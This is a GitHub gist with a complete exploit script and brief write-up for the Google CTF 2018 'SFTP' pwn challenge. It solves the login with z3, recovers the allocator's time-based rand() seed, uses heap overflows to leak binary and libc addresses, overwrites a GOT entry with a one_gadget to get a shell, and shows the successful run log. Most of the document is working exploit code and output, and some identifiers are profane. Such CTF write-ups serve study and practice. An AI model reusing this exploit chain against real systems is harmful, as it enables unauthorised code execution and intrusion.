Skip to content

Instantly share code, notes, and snippets.

@beched
Last active May 9, 2020
Embed
What would you like to do?
Google CTF 2018 Quals: SFTP pwn task solution
import time
import sys
from collections import defaultdict
from ctypes import CDLL
from pwn import *
from z3 import *
s = Solver()
v4 = 0x5417
v5 = [BitVec('a_%s' % i, 64) for i in xrange(15)]
for v0 in v5:
v4 = 2 * (v0 ^ v4)
for i in xrange(len(v5)):
s.add(v5[i] > 32)
v5[i] != 0x0a
s.add(v5[i] < 128)
s.add(v4 & 0xffff == 0x8DFA)
s.check()
m = s.model()
passwd = ''.join(map(chr, [m[v5[i]].as_long() for i in xrange(15)]))
print '[*] Calculated the password: %s' % passwd
if len(sys.argv) > 1:
s = remote('sftp.ctfcompetition.com', 1337)
# ubuntu-xenial-amd64-libc6
fread_offset = 0x6e1a0
one_gadget = 0x4526a
else:
s = process('./sftp')
#server = process(['socat', 'tcp-listen:1234,fork,reuseaddr', 'exec:./sftp'])
#s = remote('localhost', 1234)
fread_offset = 0x6e040
one_gadget = 0x423f2#0x4239e
gdb.attach(s, 'b exit\nc\n')
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
print s.recv(4096)
s.send('yes\n')
print s.recv(4096)
s.send('%s\n' % passwd)
print s.recvuntil('sftp>')
# Leaking the home address
s.send('symlink /home/c01db33f %s\n' % ('a' * 20))
s.recvuntil('sftp>')
s.send('ls\n')
home_addr = u32(s.recvuntil('sftp>')[-10:-6])
print 'Found home addr:', hex(home_addr)
for seed in xrange(int(time.time()) - 10, int(time.time()) + 10):
libc.srand(seed)
if home_addr in [libc.rand() & 0x1FFFFFFF | 0x40000000 for _ in xrange(10)]:
print '[*] Found seed:', seed
break
def leaksource():
s.send('cd src\n')
s.recv(4096)
s.send('get sftp.c\n')
print s.recvuntil('service_main();')
print s.recv(4096)
s.send('mkdir %s\n' % ('a' * 4000))
s.interactive()
def find_alloc(adjust):
libc.srand(seed)
[libc.rand() for _ in xrange(adjust)] # adjusting mallocs
t = defaultdict(list)
for i in xrange(500):
t[libc.rand() & 0x1FFFFFFF | 0x40000000].append(i)
k = sorted(t.keys())
res = []
for i in xrange(len(k) - 1):
if k[i + 1] - k[i] < 14070: # actually can be greater, we can overflow with file data
alloc_1, alloc_2 = min(t[k[i + 1]]), max(t[k[i]])
if alloc_1 < alloc_2: # greater address should be allocatable earlier
#print '\tAddresses', k[i], k[i + 1]
#print '\tAllocations', alloc_1, alloc_2
res.append((alloc_2, alloc_1, k[i + 1], k[i])) # alloc_2 first for sorting
if not res:
print 'Allocs not found =('
quit()
res.sort()
best = res[0][1], res[0][0], res[0][3], res[0][2] # transpose after sort
print '[*] Optimal allocs:', best
return best
def alloc_mkdir(alloc, start=0):
for i in xrange(start, alloc):
s.send('mkdir hui%s\n' % i)
s.recvuntil('sftp>')
print '[*] Allocated %s' % alloc
def leak_addr(addr, addr_1, addr_2):
fake_eba = p64(0) # struct directory_entry* parent_directory;
fake_eba += p32(1) # enum entry_type type; # DIRECTORY_ENTRY = 0x1,
fake_eba += 'ebala'.ljust(20, '\x00') # char name[name_max];
fake_eba += p64(16) # size_t child_count;
fake_eba += p64(addr - 12) # to leak parent_directory of /home, it's root
s.send('cd ebala\n')
s.recvuntil('sftp>')
s.send('put pizdec\n')
payload_size = len(fake_eba) + addr_2 - addr_1
s.send('%s\n' % payload_size)
s.send(fake_eba.rjust(payload_size, 'a'))
s.recvuntil('sftp>')
print '[*] Created overflow: %s -> %s (%s)' % (hex(addr_1), hex(addr_2), addr_2 - addr_1)
s.send('ls\n')
s.recv(4096)
hui = s.recvuntil('sftp> ')
return u64(hui[:-7].ljust(8, '\x00'))
def ebala():
s.send('mkdir ebala\n')
s.recvuntil('sftp>')
print '[*] Created dir ebala'
def heapover():
adjust = 7
alloc_1, alloc_2, addr_1, addr_2 = find_alloc(adjust)
alloc_mkdir(alloc_1)
ebala()
alloc_mkdir(alloc_2 - 2, alloc_1) # extra alloc caused by handle_put
root_addr = leak_addr(home_addr, addr_1, addr_2)
print '[*] Leaked root addr:', hex(root_addr)
elf_base = root_addr - 0x208BE0
print '[*] Binary base:', hex(elf_base)
got_addr = elf_base + 0x205030
print '[*] .got.plt:', hex(got_addr)
ebala() # fresh start
s.send('cd ebala\n')
s.recvuntil('sftp>')
adjust += alloc_2 + 2 # extra alloc caused in ebala() above
alloc_1, alloc_2, addr_1, addr_2 = find_alloc(adjust)
alloc_mkdir(alloc_1)
ebala()
alloc_mkdir(alloc_2 - 2, alloc_1) # extra alloc caused by handle_put
fread_addr = leak_addr(got_addr, addr_1, addr_2)
print '[*] Leaked fread addr:', hex(fread_addr)
libc_base = fread_addr - fread_offset
one_shot = libc_base + one_gadget
#s.interactive()
# NOW W-W-W
ebala() # fresh start
s.send('cd ebala\n')
s.recvuntil('sftp>')
adjust += alloc_2 + 2 # extra alloc caused in ebala() above
alloc_1, alloc_2, addr_1, addr_2 = find_alloc(adjust)
alloc_mkdir(alloc_1)
# create file with length 8, we'll then overwrite its data ptr
s.send('put suka\n')
s.send('8\n')
s.send('aaaaaaaa\n')
s.recvuntil('sftp>')
alloc_mkdir(alloc_2 - 3, alloc_1) # extra alloc caused by handle_put
fake_eba = p64(0) # struct directory_entry* parent_directory;
fake_eba += p32(2) # enum entry_type type; # FILE_ENTRY = 0x2,
fake_eba += 'suka'.ljust(20, '\x00') # char name[name_max];
fake_eba += p64(8) # size_t size;
fake_eba += p64(elf_base + 0x205028) # where to write # char* data; # off_205028 dq offset puts
s.send('put pizdec\n')
payload_size = len(fake_eba) + addr_2 - addr_1
s.send('%s\n' % payload_size)
s.send(fake_eba.rjust(payload_size, 'a'))
s.recvuntil('sftp>')
print '[*] Created overflow: %s -> %s (%s)' % (hex(addr_1), hex(addr_2), addr_2 - addr_1)
s.send('put suka\n')
s.send('8\n')
s.send(p64(one_shot)) # what to write
# BOOOOOM
s.interactive()
heapover()
1) The binary implements SFTP-like service with virtual in-memory file system with encrypted pre-loaded content (fake flag and partial binary source code).
In order to log in, you should generate a password which satisfies a simple equation (which is solved by z3 in the exploit).
The binary also uses custom memory allocator with random addresses:
void sub_E70()
{
unsigned int v0; // eax@2
if ( mmap((void *)0x40000000, 0x200FFFFFuLL, 3, 50, -1, 0LL) != (void *)0x40000000 )
abort();
v0 = time(0LL);
srand(v0);
}
signed __int64 malloc()
{
return rand() & 0x1FFFFFFF | 0x40000000LL;
}
__int64 __fastcall realloc(__int64 a1)
{
return a1;
}
void free()
{
;
}
2) There's a buffer overflow in the new_entry function, where an entry path may contain up to 4096 bytes, but the name field in the entry struct is limited only to 20 bytes:
#define path_max 4096
#define name_max 20
#define file_max 65535
. . .
strcpy((*child)->name, name);
3) And also we can overflow the memory chunks by uploading the files.
To succeed, we need first to calculate the seed and find such allocation sequences, that there will be 2 chunks close enough to each other to make overwrite possible.
4) Run the exploit:
# python sftp_exp.py 1
[*] Calculated the password: !"$!@40000pp8p}
[+] Opening connection to sftp.ctfcompetition.com on port 1337: Done
The authenticity of host 'sftp.google.ctf (3.13.3.7)' can't be established.
ECDSA key fingerprint is SHA256:+d+dnKGLreinYcA8EogcgjSF3yhvEBL+6twxEc04ZPq.
Are you sure you want to continue connecting (yes/no)?
Warning: Permanently added 'sftp.google.ctf' (ECDSA) to the list of known hosts.
c01db33f@sftp.google.ctf's password: Connected to sftp.google.ctf.
sftp>
Found home addr: 0x59675604
[*] Found seed: 1529920472
[*] Optimal allocs: (16, 106, 1507230026, 1507233827)
[*] Allocated 16
[*] Created dir ebala
[*] Allocated 104
[*] Created overflow: 0x59d6814a -> 0x59d69023 (3801)
[*] Leaked root addr: 0x559e8d72abe0
[*] Binary base: 0x559e8d522000
[*] .got.plt: 0x559e8d727030
[*] Created dir ebala
[*] Optimal allocs: (111, 431, 1088429228, 1088431382)
[*] Allocated 111
[*] Created dir ebala
[*] Allocated 429
[*] Created overflow: 0x40e01cac -> 0x40e02516 (2154)
[*] Leaked fread addr: 0x7f45f89b71a0
[*] Created dir ebala
[*] Optimal allocs: (15, 265, 1348220783, 1348234344)
[*] Allocated 15
[*] Allocated 262
[*] Created overflow: 0x505c376f -> 0x505c6c68 (13561)
[*] Switching to interactive mode
sftp> sftp> $
$ cat /home/user/flag
CTF{Moar_Randomz_Moar_Mitigatez!}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment